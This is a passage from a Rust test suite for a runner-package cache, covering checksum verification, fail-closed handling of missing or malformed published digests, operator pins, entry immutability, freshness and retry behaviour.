3676            "the substituted archive must differ from the published one"
3677        );
3678        assert_ne!(substituted, published_bytes);
3679        // It is a *valid* archive: extraction alone would accept it happily,
3680        // which is exactly why only the digest can refuse it.
3681        assert!(
3682            tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
3683                substituted.clone()
3684            )))
3685            .entries()
3686            .map(|entries| entries.count() == 1)
3687            .unwrap_or(false),
3688            "the substituted archive must be well formed, or this test proves \
3689             nothing about the checksum"
3690        );
3691        harness.fetcher.serve(substituted);
3692        let cache = harness.cache().with_retry_budget(1);
3693
3694        let error = cache.ensure_installed().await.unwrap_err();
3695
3696        let inner = match &error {
3697            PackageError::Exhausted { source, .. } => source.as_ref(),
3698            other => other,
3699        };
3700        assert!(
3701            matches!(inner, PackageError::ChecksumMismatch { .. }),
3702            "expected a checksum mismatch, got {error:?}"
3703        );
3704        assert_eq!(
3705            inner.failure_reason(),
3706            Some(FailureReason::RunnerPackageUnverified)
3707        );
3708
3709        // Not extracted: no entry, and no version directory at all.
3710        assert!(cache.installed().unwrap().is_empty());
3711        assert!(
3712            !cache.root().join("2.330.0").exists(),
3713            "a rejected package must leave no version directory behind; found {:?}",
3714            all_paths(cache.root())
3715        );
3716        // Nothing anywhere under the cache root resembles an extracted runner.
3717        let leftovers = all_paths(cache.root());
3718        assert!(
3719            !leftovers.iter().any(|path| path.ends_with("run.sh")),
3720            "nothing from the archive may have been unpacked; found {leftovers:?}"
3721        );
3722    }
3723
3724    #[tokio::test]
3725    async fn the_unverified_download_is_removed_from_disk() {
3726        let (harness, _, _) = linux_fixture();
3727        harness
3728            .fetcher
3729            .serve(tar_gz_bytes(&[("run.sh", "substituted\n")]));
3730        let cache = harness.cache().with_retry_budget(1);
3731
3732        let error = cache.ensure_installed().await.unwrap_err();
3733        assert!(error.failure_reason().is_some());
3734
3735        // The fetcher asserts internally that it created the file, and records
3736        // the path only after that assertion. Without this, "the file is gone"
3737        // would be true of a file that never existed.
3738        let wrote = harness.fetcher.wrote();
3739        assert_eq!(wrote.len(), 1, "the fetcher must have written exactly once");
3740        assert!(
3741            !wrote[0].exists(),
3742            "the unverified download at {:?} must have been removed",
3743            wrote[0]
3744        );
3745
3746        // And no other copy of it survives anywhere in the cache.
3747        let leftovers = all_paths(cache.root());
3748        assert!(
3749            !leftovers.iter().any(|path| path.ends_with(".archive")),
3750            "no downloaded archive may survive a mismatch; found {leftovers:?}"
3751        );
3752    }
3753
3754    #[tokio::test]
3755    async fn a_checksum_mismatch_is_retryable_and_clean_bytes_still_install() {
3756        // `03-control-flows.md`: a download checksum failure is retried with
3757        // bounded backoff. The usual cause is a truncated transfer, and the
3758        // next attempt gets clean bytes.
3759        let (harness, good, _) = linux_fixture();
3760        harness
3761            .fetcher
3762            .serve(tar_gz_bytes(&[("run.sh", "truncated\n")]));
3763        let cache = harness.cache().with_retry_budget(3);
3764
3765        // First: three attempts, all bad, budget exhausted.
3766        let error = cache.ensure_installed().await.unwrap_err();
3767        assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
3768        assert_eq!(
3769            harness.fetcher.count(),
3770            3,
3771            "a mismatch is retryable, so the budget should have been spent"
3772        );
3773
3774        // Then: the same cache, with the bytes GitHub actually published.
3775        harness.fetcher.serve(good);
3776        let installed = cache.ensure_installed().await.expect("clean bytes install");
3777        assert_eq!(installed.version(), &version("2.330.0"));
3778    }
3779
3780    // =====================================================================
3781    // DoD 3 — an absent checksum fails closed and names the remedy; an
3782    // operator-pinned digest then succeeds.
3783    // =====================================================================
3784
3785    #[tokio::test]
3786    async fn an_absent_published_checksum_refuses_to_install_and_names_the_remedy() {
3787        let payload = tar_gz_bytes(&package_entries());
3788        // `c3` ships this fixture precisely so this branch is reachable.
3789        let without = gh::download_without_checksum("linux", "x64");
3790        assert!(without.sha256_checksum().is_none());
3791        let harness = Harness::new(vec![without], payload);
3792        let cache = harness.cache();
3793
3794        let error = cache.ensure_installed().await.unwrap_err();
3795
3796        assert!(
3797            matches!(
3798                error,
3799                PackageError::ChecksumAbsent {
3800                    published: PublishedChecksum::Absent,
3801                    ..
3802                }
3803            ),
3804            "expected an absent checksum, got {error:?}"
3805        );
3806        assert!(error.is_terminal(), "failing closed is never retryable");
3807        assert_eq!(
3808            error.failure_reason(),
3809            Some(FailureReason::RunnerPackageUnverified)
3810        );
3811        let action = error.operator_action().expect("a terminal error acts");
3812        assert!(
3813            action.contains("pin"),
3814            "the remedy must name pinning, got `{action}`"
3815        );
3816        assert!(
3817            error.to_string().contains("Pin the digest"),
3818            "the message must name the remedy: `{error}`"
3819        );
3820        assert_eq!(
3821            harness.fetcher.count(),
3822            0,
3823            "an unverifiable package must not be downloaded at all"
3824        );
3825    }
3826
3827    #[tokio::test]
3828    async fn an_empty_published_checksum_is_reported_as_empty_rather_than_absent() {
3829        // `c3` keeps absent and empty apart deliberately; both are unusable,
3830        // but they are different facts about GitHub's response and the operator
3831        // is owed the one that happened.
3832        let payload = tar_gz_bytes(&package_entries());
3833        let harness = Harness::new(
3834            vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(""))],
3835            payload,
3836        );
3837
3838        let error = harness.cache().ensure_installed().await.unwrap_err();
3839
3840        assert!(
3841            matches!(
3842                error,
3843                PackageError::ChecksumAbsent {
3844                    published: PublishedChecksum::Empty,
3845                    ..
3846                }
3847            ),
3848            "expected an empty checksum, got {error:?}"
3849        );
3850        assert!(error.to_string().contains("an empty sha256_checksum"));
3851    }
3852
3853    #[tokio::test]
3854    async fn an_operator_pinned_digest_installs_what_github_published_no_checksum_for() {
3855        let payload = tar_gz_bytes(&package_entries());
3856        let digest = hex_digest(&payload);
3857        let harness = Harness::new(
3858            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3859            payload,
3860        );
3861        let cache = harness.cache().with_pins(
3862            PinnedDigests::new()
3863                .pin("2.330.0", &digest)
3864                .expect("a well-formed pin"),
3865        );
3866
3867        let installed = cache.ensure_installed().await.expect("a pinned install");
3868
3869        assert_eq!(installed.version(), &version("2.330.0"));
3870        assert_eq!(installed.digest().as_str(), digest);
3871        assert!(installed.root().join("run.sh").is_file());
3872    }
3873
3874    #[tokio::test]
3875    async fn a_pinned_digest_is_a_digest_to_check_not_a_check_to_skip() {
3876        // The failure this asserts against is the obvious misreading of
3877        // "require an operator-pinned digest": treating the presence of a pin
3878        // as permission to install whatever arrives.
3879        let payload = tar_gz_bytes(&package_entries());
3880        let harness = Harness::new(
3881            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3882            payload,
3883        );
3884        let cache = harness.cache().with_retry_budget(1).with_pins(
3885            PinnedDigests::new()
3886                .pin("2.330.0", &"a".repeat(64))
3887                .unwrap(),
3888        );
3889
3890        let error = cache.ensure_installed().await.unwrap_err();
3891
3892        let inner = match &error {
3893            PackageError::Exhausted { source, .. } => source.as_ref(),
3894            other => other,
3895        };
3896        assert!(
3897            matches!(inner, PackageError::ChecksumMismatch { .. }),
3898            "a wrong pin must still refuse, got {error:?}"
3899        );
3900        assert!(cache.installed().unwrap().is_empty());
3901    }
3902
3903    #[tokio::test]
3904    async fn a_pin_for_a_different_version_does_not_unlock_this_one() {
3905        let payload = tar_gz_bytes(&package_entries());
3906        let digest = hex_digest(&payload);
3907        let harness = Harness::new(
3908            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3909            payload,
3910        );
3911        // The operator confirmed 2.320.0, not 2.330.0.
3912        let cache = harness
3913            .cache()
3914            .with_pins(PinnedDigests::new().pin("2.320.0", &digest).unwrap());
3915
3916        let error = cache.ensure_installed().await.unwrap_err();
3917
3918        assert!(matches!(error, PackageError::ChecksumAbsent { .. }));
3919        assert_eq!(harness.fetcher.count(), 0);
3920    }
3921
3922    #[tokio::test]
3923    async fn a_malformed_published_checksum_refuses_and_says_it_was_malformed() {
3924        // The third unusable shape, and the one that used to name a remedy the
3925        // operator could not carry out: it returned `MalformedDigest` from a
3926        // path where the pin was never consulted, while telling them to pin.
3927        let payload = tar_gz_bytes(&package_entries());
3928        for bad in ["sha256:9f86d081884c7d65", &"a".repeat(63), "not a digest"] {
3929            let harness = Harness::new(
3930                vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(bad))],
3931                payload.clone(),
3932            );
3933
3934            let error = harness.cache().ensure_installed().await.unwrap_err();
3935
3936            assert!(
3937                matches!(
3938                    error,
3939                    PackageError::ChecksumAbsent {
3940                        published: PublishedChecksum::Malformed,
3941                        ..
3942                    }
3943                ),
3944                "`{bad}` should be reported as malformed, got {error:?}"
3945            );
3946            assert!(error.is_terminal());
3947            assert_eq!(
3948                error.failure_reason(),
3949                Some(FailureReason::RunnerPackageUnverified)
3950            );
3951            assert!(
3952                error.to_string().contains("a malformed sha256_checksum"),
3953                "the operator is owed the shape that actually arrived: `{error}`"
3954            );
3955            assert_eq!(harness.fetcher.count(), 0);
3956        }
3957    }
3958
3959    #[tokio::test]
3960    async fn a_malformed_published_checksum_is_rescued_by_an_operator_pin() {
3961        // The remedy the refusal names has to be one that works. Every unusable
3962        // shape — absent, empty, malformed — routes to the pin.
3963        let payload = tar_gz_bytes(&package_entries());
3964        let digest = hex_digest(&payload);
3965        let harness = Harness::new(
3966            vec![published(
3967                "linux",
3968                "x64",
3969                "2.330.0",
3970                ".tar.gz",
3971                Some("sha256:9f86d081884c7d65"),
3972            )],
3973            payload,
3974        );
3975        let cache = harness
3976            .cache()
3977            .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
3978
3979        let installed = cache
3980            .ensure_installed()
3981            .await
3982            .expect("a pin rescues a malformed published checksum");
3983
3984        assert_eq!(installed.digest().as_str(), digest);
3985        assert!(installed.root().join("run.sh").is_file());
3986    }
3987
3988    #[tokio::test]
3989    async fn every_unusable_published_checksum_shape_names_the_same_workable_remedy() {
3990        let payload = tar_gz_bytes(&package_entries());
3991        let digest = hex_digest(&payload);
3992        for (raw, expected) in [
3993            (None, PublishedChecksum::Absent),
3994            (Some(""), PublishedChecksum::Empty),
3995            (Some("nonsense"), PublishedChecksum::Malformed),
3996        ] {
3997            let downloads = vec![published("linux", "x64", "2.330.0", ".tar.gz", raw)];
3998
3999            // Without a pin: refused, and the message names pinning.
4000            let harness = Harness::new(downloads.clone(), payload.clone());
4001            let error = harness.cache().ensure_installed().await.unwrap_err();
4002            assert!(
4003                matches!(
4004                    &error,
4005                    PackageError::ChecksumAbsent { published, .. } if *published == expected
4006                ),
4007                "{expected:?}: got {error:?}"
4008            );
4009            assert!(error.operator_action().unwrap().contains("pin"));
4010
4011            // With a pin: installed. This is the assertion that makes the
4012            // remedy true rather than merely stated.
4013            let harness = Harness::new(downloads, payload.clone());
4014            let cache = harness
4015                .cache()
4016                .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
4017            cache
4018                .ensure_installed()
4019                .await
4020                .unwrap_or_else(|error| panic!("{expected:?} should be pinnable: {error}"));
4021        }
4022    }
4023
4024    // =====================================================================
4025    // DoD 4 — a cache entry is never mutated after extraction, and a second
4026    // install of the same version is a no-op.
4027    // =====================================================================
4028
4029    #[tokio::test]
4030    async fn a_second_install_of_the_same_version_rewrites_nothing() {
4031        let (harness, _, _) = linux_fixture();
4032        let cache = harness.cache();
4033
4034        let first = cache.ensure_installed().await.expect("the first install");
4035        assert_eq!(harness.fetcher.count(), 1);
4036        assert_eq!(harness.catalog.calls(), 1);
4037
4038        // Past the freshness window, with the SAME version still published.
4039        //
4040        // Advancing only past `check_interval` is not enough, and measuring
4041        // that is what fixed this test: the entry then still sits inside the
4042        // freshness window, so deleting the already-installed short-circuit
4043        // changed nothing — the freshness branch returned the same cached entry
4044        // and the test stayed green through a mutation that should have killed
4045        // it. Past the window that branch no longer covers, and the entry
4046        // short-circuit is the only thing between this call and a re-download.
4047        harness
4048            .clock
4049            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4050
4051        let second = cache.ensure_installed().await.expect("the second install");
4052
4053        assert_eq!(second.version(), first.version());
4054        assert_eq!(second.root(), first.root());
4055        assert_eq!(
4056            harness.catalog.calls(),
4057            2,
4058            "the published version should have been re-checked"
4059        );
4060        // THIS is the assertion that proves the no-op, and it is the only one
4061        // here that can distinguish a no-op from a re-install.
4062        //
4063        // An earlier version of this test also planted a marker file inside the
4064        // entry and compared a `(len, mtime, digest)` snapshot before and
4065        // after, and presented all three as proof. Two of the three could not
4066        // fail. The commit point is a single `fs::rename` onto the version
4067        // directory, which cannot replace a non-empty directory on any platform
4068        // this product targets — so even with the short-circuit deleted, the
4069        // rename fails, `entry()` answers `Some`, and the existing entry is
4070        // returned untouched. The marker survives and the snapshot matches for
4071        // a reason that has nothing to do with the branch under test. Three
4072        // legs that read as triple-proof and were single-proof is worse than
4073        // one honest leg, so the other two are gone.
4074        //
4075        // The immutability property they were reaching for is real and is
4076        // pinned separately, by `the_commit_rename_never_replaces_an_existing_
4077        // entry` below, which asserts the platform behaviour this design rests
4078        // on and *can* fail if it ever stops holding.
4079        assert_eq!(
4080            harness.fetcher.count(),
4081            1,
4082            "a version already held must not be downloaded again"
4083        );
4084    }
4085
4086    #[test]
4087    fn the_commit_rename_never_replaces_an_existing_entry() {
4088        // The assumption the whole immutability claim rests on, asserted
4089        // directly instead of being inferred from an install that would not
4090        // have exercised it.
4091        //
4092        // `download_verify_and_install` commits by renaming a staging directory
4093        // onto `packages/<version>/`. If that rename could clobber a populated
4094        // directory, an entry would be mutable after it landed and every
4095        // runtime copied from it could change underfoot. It cannot — and this
4096        // is where that stops being a comment.
4097        let dir = tempfile::tempdir().expect("a temporary root");
4098        let existing = dir.path().join("2.330.0");
4099        fs::create_dir_all(existing.join("bin")).unwrap();
4100        fs::write(existing.join("run.sh"), b"the original").unwrap();
4101        let replacement = dir.path().join("staging");
4102        fs::create_dir_all(&replacement).unwrap();
4103        fs::write(replacement.join("run.sh"), b"the replacement").unwrap();
4104
4105        let result = fs::rename(&replacement, &existing);
4106
4107        assert!(
4108            result.is_err(),
4109            "renaming onto a populated entry must fail, or entries are mutable"
4110        );
4111        assert_eq!(
4112            fs::read_to_string(existing.join("run.sh")).unwrap(),
4113            "the original",
4114            "the existing entry's contents must survive"
4115        );
4116        assert!(
4117            existing.join("bin").is_dir(),
4118            "the existing entry's structure must survive"
4119        );
4120    }
4121
4122    #[tokio::test]
4123    async fn a_stale_entry_that_is_still_the_published_version_is_reused() {
4124        // Past the freshness deadline, but GitHub has published nothing newer.
4125        // There is no fresher package to fetch, so re-downloading identical
4126        // bytes would cost 150-300 MB and change nothing.
4127        //
4128        // **This exits at the `entry(&version)` short-circuit, not at the
4129        // freshness branch** — the published version and the cached one are the
4130        // same, so the entry is found before staleness is ever consulted. An
4131        // earlier comment here claimed the freshness branch, which was wrong:
4132        // that branch is the one where the published version *differs* and the
4133        // cache is still inside the window, and it is pinned by
4134        // `a_cached_version_inside_the_window_is_not_re_downloaded`.
4135        //
4136        // What this test adds over the no-op test is the *staleness* of the
4137        // entry: it asserts that being past the deadline does not by itself
4138        // force a download when there is nothing newer to download.
4139        let (harness, _, _) = linux_fixture();
4140        let cache = harness.cache();
4141        let first = cache.ensure_installed().await.expect("an install");
4142        harness
4143            .clock
4144            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4145
4146        let again = cache.ensure_installed().await.expect("the same entry");
4147
4148        assert!(
4149            cache.is_stale(&first, harness.clock.now()),
4150            "the entry really is past the deadline"
4151        );
4152        assert_eq!(again.version(), first.version());
4153        assert_eq!(harness.fetcher.count(), 1);
4154        assert_eq!(cache.installed().unwrap().len(), 1);
4155    }
4156
4157    #[tokio::test]
4158    async fn an_entry_is_complete_the_moment_it_exists() {
4159        // The manifest lands inside the staging directory and arrives with the
4160        // entry in one rename, so there is no window in which a directory
4161        // exists without it. A directory with no manifest is therefore not an
4162        // entry, and is not returned as one.
4163        let (harness, _, _) = linux_fixture();
4164        let cache = harness.cache();
4165        let installed = cache.ensure_installed().await.expect("an install");
4166        assert!(installed.root().join(MANIFEST_FILE).is_file());
4167
4168        // A directory that this module did not produce.
4169        let impostor = cache.root().join("9.9.9");
4170        fs::create_dir_all(impostor.join("bin")).unwrap();
4171        fs::write(impostor.join("run.sh"), b"not ours").unwrap();
4172
4173        assert!(cache.entry(&version("9.9.9")).unwrap().is_none());
4174        assert_eq!(
4175            cache.installed().unwrap().len(),
4176            1,
4177            "only the real entry counts as installed"
4178        );
4179    }
4180
4181    #[tokio::test]
4182    async fn a_download_that_fails_leaves_no_entry_and_no_file() {
4183        let (harness, _, _) = linux_fixture();
4184        *harness.fetcher.fail.lock().unwrap() = true;
4185        let cache = harness.cache().with_retry_budget(1);
4186
4187        assert!(cache.ensure_installed().await.is_err());
4188
4189        assert!(cache.installed().unwrap().is_empty());
4190        let leftovers = all_paths(cache.root());
4191        assert_eq!(
4192            leftovers,
4193            vec![".staging".to_string()],
4194            "a failed download leaves an empty staging directory and nothing else"
4195        );
4196    }
4197
4198    #[tokio::test]
4199    async fn a_verified_package_that_will_not_extract_still_leaves_nothing_behind() {
4200        // The interesting interruption: the bytes are exactly what GitHub
4201        // published — the digest matches — and extraction fails anyway. The
4202        // downloaded file exists at that point, so this is the path where a
4203        // missing cleanup would actually leak a 150-300 MB file.
4204        let payload = b"this verifies but is not a gzip stream".to_vec();
4205        let harness = Harness::new(
4206            vec![published(
4207                "linux",
4208                "x64",
4209                "2.330.0",
4210                ".tar.gz",
4211                Some(&hex_digest(&payload)),
4212            )],
4213            payload,
4214        );
4215        let cache = harness.cache().with_retry_budget(1);
4216
4217        let error = cache.ensure_installed().await.unwrap_err();
4218        let inner = match &error {
4219            PackageError::Exhausted { source, .. } => source.as_ref(),
4220            other => other,
4221        };
4222        assert!(
4223            matches!(inner, PackageError::Extract { .. }),
4224            "expected an extraction failure, got {error:?}"
4225        );
4226
4227        let wrote = harness.fetcher.wrote();
4228        assert_eq!(wrote.len(), 1, "the download did happen");
4229        assert!(
4230            !wrote[0].exists(),
4231            "the verified-but-unusable download at {:?} must still be removed",
4232            wrote[0]
4233        );
4234        assert!(cache.installed().unwrap().is_empty());
4235
4236        // Whatever the half-extraction left is staging litter, and the sweep
4237        // clears it.
4238        let before = all_paths(cache.root());
4239        assert!(
4240            before.iter().all(|path| path.starts_with(".staging")),
4241            "only staging litter may survive; found {before:?}"
4242        );
4243        cache.sweep_staging().expect("a sweep");
4244        assert_eq!(
4245            all_paths(cache.root()),
4246            vec![".staging".to_string()],
4247            "the sweep empties staging, leaving only the directory itself"
4248        );
4249    }
4250
4251    // =====================================================================
4252    // DoD 5 — freshness, and the version rejection that must not retry.
4253    // =====================================================================
4254
4255    #[tokio::test]
4256    async fn a_cached_version_more_than_thirty_days_behind_is_refreshed_before_a_cold_start() {
4257        let (harness, _, _) = linux_fixture();
4258        let cache = harness.cache();
4259        let first = cache.ensure_installed().await.expect("the first install");
4260        assert_eq!(first.version(), &version("2.330.0"));
4261
4262        // A new release, and the cached entry is now past the deadline.
4263        let newer = tar_gz_bytes(&[("run.sh", "#!/bin/sh\necho newer\n")]);
4264        harness.catalog.publish(vec![published(
4265            "linux",
4266            "x64",
4267            "2.340.0",
4268            ".tar.gz",
4269            Some(&hex_digest(&newer)),
4270        )]);
4271        harness.fetcher.serve(newer);
4272        harness
4273            .clock
4274            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4275
4276        let second = cache.ensure_installed().await.expect("a refresh");
4277
4278        assert_eq!(second.version(), &version("2.340.0"));
4279        assert_eq!(harness.fetcher.count(), 2, "the newer package was fetched");
4280        assert_eq!(
4281            cache.installed().unwrap().len(),
4282            2,
4283            "the old entry is not removed by a refresh; pruning is a separate, \
4284             guarded decision"
4285        );
4286    }
4287
4288    #[tokio::test]
4289    async fn a_cached_version_inside_the_window_is_not_re_downloaded() {
4290        // The other half of the rule, and the one that keeps a 150-300 MB
4291        // download from following every point release.
4292        let (harness, _, _) = linux_fixture();
4293        let cache = harness.cache();
4294        cache.ensure_installed().await.expect("the first install");
4295
4296        let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
4297        harness.catalog.publish(vec![published(
4298            "linux",
4299            "x64",
4300            "2.340.0",
4301            ".tar.gz",
4302            Some(&hex_digest(&newer)),
4303        )]);
4304        harness.fetcher.serve(newer);
4305        harness
4306            .clock
4307            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS - 1));
4308
4309        let second = cache.ensure_installed().await.expect("the cached entry");
4310
4311        assert_eq!(second.version(), &version("2.330.0"));
4312        assert_eq!(harness.fetcher.count(), 1, "nothing new was downloaded");
4313    }
4314
4315    #[tokio::test]
4316    async fn the_freshness_boundary_is_the_documented_thirty_days() {
4317        let (harness, _, _) = linux_fixture();
4318        let cache = harness.cache();
4319        let installed = cache.ensure_installed().await.expect("an install");
4320        let installed_at = installed.installed_at();
4321
4322        assert!(!cache.is_stale(&installed, installed_at));
4323        assert!(!cache.is_stale(
4324            &installed,
4325            installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS)
4326        ));
4327        assert!(cache.is_stale(
4328            &installed,
4329            installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS) + Elapsed::seconds(1)
4330        ));
4331    }
4332
4333    #[tokio::test]
4334    async fn the_published_version_is_re_checked_only_on_a_bounded_interval() {
4335        let (harness, _, _) = linux_fixture();
4336        let cache = harness.cache();
4337        cache.ensure_installed().await.expect("the first install");
4338        assert_eq!(harness.catalog.calls(), 1);
4339
4340        // Inside the interval: no REST call at all.
4341        harness
4342            .clock
4343            .advance(Elapsed::hours(CHECK_INTERVAL_HOURS - 1));
4344        cache.ensure_installed().await.expect("a cached answer");
4345        assert_eq!(
4346            harness.catalog.calls(),
4347            1,
4348            "a cold start inside the interval must not re-check"
4349        );
4350
4351        // Past it: one more.
4352        harness.clock.advance(Elapsed::hours(2));
4353        cache.ensure_installed().await.expect("a re-check");
4354        assert_eq!(harness.catalog.calls(), 2);
4355    }
4356
4357    #[tokio::test]
4358    async fn a_stale_entry_forces_a_re_check_even_inside_the_interval() {
4359        // The interval saves REST budget; there is no budget worth saving once
4360        // the package on disk is one GitHub may refuse.
4361        let (harness, _, _) = linux_fixture();
4362        let cache = harness.cache();
4363        cache.ensure_installed().await.expect("an install");
4364        assert_eq!(harness.catalog.calls(), 1);
4365
4366        harness
4367            .clock
4368            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4369        // The last check is now 31 days old, so it is due anyway; wind it
4370        // forward by re-checking, then step only a minute.
4371        cache.ensure_installed().await.expect("a re-check");
4372        let after_recheck = harness.catalog.calls();
4373        harness.clock.advance(Elapsed::minutes(1));
4374
4375        cache.ensure_installed().await.expect("another cold start");
4376
4377        assert_eq!(
4378            harness.catalog.calls(),
4379            after_recheck + 1,
4380            "a stale entry must be re-checked on every cold start, interval or not"
4381        );
4382    }
4383
4384    #[tokio::test]
4385    async fn a_version_rejection_is_terminal_and_produces_no_retry() {
4386        let (harness, _, _) = linux_fixture();
4387        let harness = harness.with_catalog(FakeCatalog::answering(Answer::Rejected));
4388        // A budget of three, deliberately: if the rejection were treated as
4389        // retryable, the counter below would read three.
4390        let cache = harness.cache().with_retry_budget(3);
4391
4392        let error = cache.ensure_installed().await.unwrap_err();
4393
4394        assert!(
4395            matches!(error, PackageError::VersionRejected { .. }),
4396            "expected a version rejection, got {error:?}"
4397        );
4398        assert!(error.is_terminal());
4399        assert_eq!(
4400            error.failure_reason(),
4401            Some(FailureReason::RunnerVersionRejected),
4402            "the domain already names this; no second vocabulary"
4403        );
4404        assert!(
4405            error.operator_action().is_some(),
4406            "a terminal condition owes the operator an action"
4407        );
4408        assert!(
4409            error.to_string().contains("cannot succeed"),
4410            "the message must say retrying is pointless: `{error}`"
4411        );
4412        assert_eq!(
4413            harness.catalog.calls(),
4414            1,
4415            "a version rejection must be attempted exactly once"
4416        );
4417        assert_eq!(harness.fetcher.count(), 0);
4418    }
4419
4420    #[tokio::test]
4421    async fn a_retryable_catalog_failure_does_spend_the_whole_budget() {
4422        // The contrast that gives the assertion above its meaning: with the
4423        // same budget and the same code path, a retryable answer is retried
4424        // three times. Without this, "calls == 1" could just mean the retry
4425        // loop never worked at all.
4426        let (harness, _, _) = linux_fixture();
4427        let harness = harness.with_catalog(FakeCatalog::answering(Answer::Unavailable));
4428        let cache = harness.cache().with_retry_budget(3);
4429
4430        let error = cache.ensure_installed().await.unwrap_err();
4431
4432        assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
4433        assert_eq!(
4434            harness.catalog.calls(),
4435            3,
4436            "a retryable failure must spend the budget"
4437        );
4438        assert!(
4439            error.operator_action().is_none(),
4440            "the answer to a transient failure is to wait, not to act"
4441        );
4442    }
4443
4444    /// One `PackageError` variant's name, by an **exhaustive** match.
4445    ///
4446    /// This is the mechanism that keeps the classification table below honest.
4447    /// Two hand-written sample lists preceded it, and between them they omitted
4448    /// `Io` and `Exhausted` entirely — a new variant joined neither list and
4449    /// nothing complained. Adding a variant now stops this function compiling,
4450    /// which puts the author in front of the table, and the coverage assertion
4451    /// in `every_variant_is_classified_and_classification_matches_the_remedy`
4452    /// then fails until a sample joins it.
4453    fn variant_name(error: &PackageError) -> &'static str {
4454        match error {
4455            PackageError::UnsupportedHost(_) => "UnsupportedHost",
4456            PackageError::NoPackagePublished { .. } => "NoPackagePublished",
4457            PackageError::ChecksumAbsent { .. } => "ChecksumAbsent",
4458            PackageError::ChecksumMismatch { .. } => "ChecksumMismatch",
4459            PackageError::MalformedDigest { .. } => "MalformedDigest",
4460            PackageError::VersionRejected { .. } => "VersionRejected",
4461            PackageError::CatalogUnavailable { .. } => "CatalogUnavailable",
4462            PackageError::Download { .. } => "Download",
4463            PackageError::UnrecognisedVersion { .. } => "UnrecognisedVersion",
4464            PackageError::UnsupportedArchive { .. } => "UnsupportedArchive",
4465            PackageError::UnsafeArchiveEntry { .. } => "UnsafeArchiveEntry",
4466            PackageError::Extract { .. } => "Extract",
4467            PackageError::VersionInUse { .. } => "VersionInUse",
4468            PackageError::VersionHeldByUnknownAttempt { .. } => "VersionHeldByUnknownAttempt",
4469            PackageError::UnreadableLease { .. } => "UnreadableLease",
4470            PackageError::WorkspaceInsideCache { .. } => "WorkspaceInsideCache",
4471            PackageError::NotInstalled { .. } => "NotInstalled",
4472            PackageError::Io { .. } => "Io",
4473            PackageError::Exhausted { .. } => "Exhausted",
4474        }
4475    }
4476
4477    /// How many variants `variant_name` covers.
4478    ///
4479    /// Bumped by hand, and the assertion that uses it is what makes forgetting
4480    /// impossible to do quietly: a new variant that reaches `variant_name` but
4481    /// not the sample table fails the coverage check, and bumping this without
4482    /// adding a sample fails it too.
4483    const PACKAGE_ERROR_VARIANTS: usize = 19;
4484
4485    #[test]
4486    fn every_variant_is_classified_and_classification_matches_the_remedy() {
4487        // One table, every variant, each declaring what it should be. The two
4488        // separate lists this replaced could not express "these are all of
4489        // them", which is how `Io` and `Exhausted` went untested.
4490        let samples: Vec<(PackageError, bool)> = vec![
4491            (
4492                PackageError::Io {
4493                    what: "read",
4494                    path: PathBuf::from("x"),
4495                    source: io::Error::other("disk"),
4496                },
4497                false,
4498            ),
4499            (
4500                PackageError::Exhausted {
4501                    attempts: 3,
4502                    source: Box::new(PackageError::Download {
4503                        detail: "reset".to_string(),
4504                    }),
4505                },
4506                true,
4507            ),
4508            (
4509                PackageError::UnreadableLease {
4510                    path: PathBuf::from("x.lease"),
4511                },
4512                true,
4513            ),
4514            (
4515                PackageError::ChecksumMismatch {
4516                    version: version("2.330.0"),
4517                    expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
4518                    actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
4519                },
4520                false,
4521            ),
4522            (
4523                PackageError::CatalogUnavailable {
4524                    detail: "502".to_string(),
4525                },
4526                false,
4527            ),
4528            (
4529                PackageError::Download {
4530                    detail: "reset".to_string(),
4531                },
4532                false,
4533            ),
4534            (
4535                PackageError::Extract {
4536                    detail: "short read".to_string(),
4537                },
4538                false,
4539            ),
4540            (
4541                PackageError::UnsupportedHost(UnsupportedHost::UndocumentedPair {
4542                    os: Os::Windows,
4543                    arch: Arch::Arm32,
4544                }),
4545                true,
4546            ),
4547            (
4548                PackageError::NoPackagePublished {
4549                    os: Os::Linux,
4550                    arch: Arch::Arm32,
4551                },
4552                true,
4553            ),
4554            (
4555                PackageError::ChecksumAbsent {
4556                    version: version("2.330.0"),
4557                    os: Os::Linux,
4558                    arch: Arch::X64,
4559                    published: PublishedChecksum::Absent,
4560                },
4561                true,
4562            ),
4563            (
4564                PackageError::MalformedDigest {
4565                    raw: "nope".to_string(),
4566                },
4567                true,
4568            ),
4569            (
4570                PackageError::VersionRejected {
4571                    version: None,
4572                    detail: None,
4573                },
4574                true,
4575            ),
4576            (
4577                PackageError::UnrecognisedVersion {
4578                    raw: "nope".to_string(),
4579                },
4580                true,
4581            ),
4582            (
4583                PackageError::UnsupportedArchive {
4584                    filename: "x.rar".to_string(),
4585                },
4586                true,
4587            ),
4588            (
4589                PackageError::UnsafeArchiveEntry {
4590                    entry: "../x".to_string(),
4591                },
4592                true,
4593            ),
4594            (
4595                PackageError::VersionInUse {
4596                    version: version("2.330.0"),
4597                    attempt: fixtures::ATTEMPT_ID,
4598                    state: AttemptState::Busy,
4599                },
4600                true,
4601            ),
4602            (
4603                PackageError::VersionHeldByUnknownAttempt {
4604                    version: version("2.330.0"),
4605                    attempt: fixtures::ATTEMPT_ID,
4606                },
4607                true,
4608            ),
4609            (
4610                PackageError::WorkspaceInsideCache {
4611                    attempt: fixtures::ATTEMPT_ID,
4612                    path: PathBuf::from("x"),
4613                },
4614                true,
4615            ),
4616            (
4617                PackageError::NotInstalled {
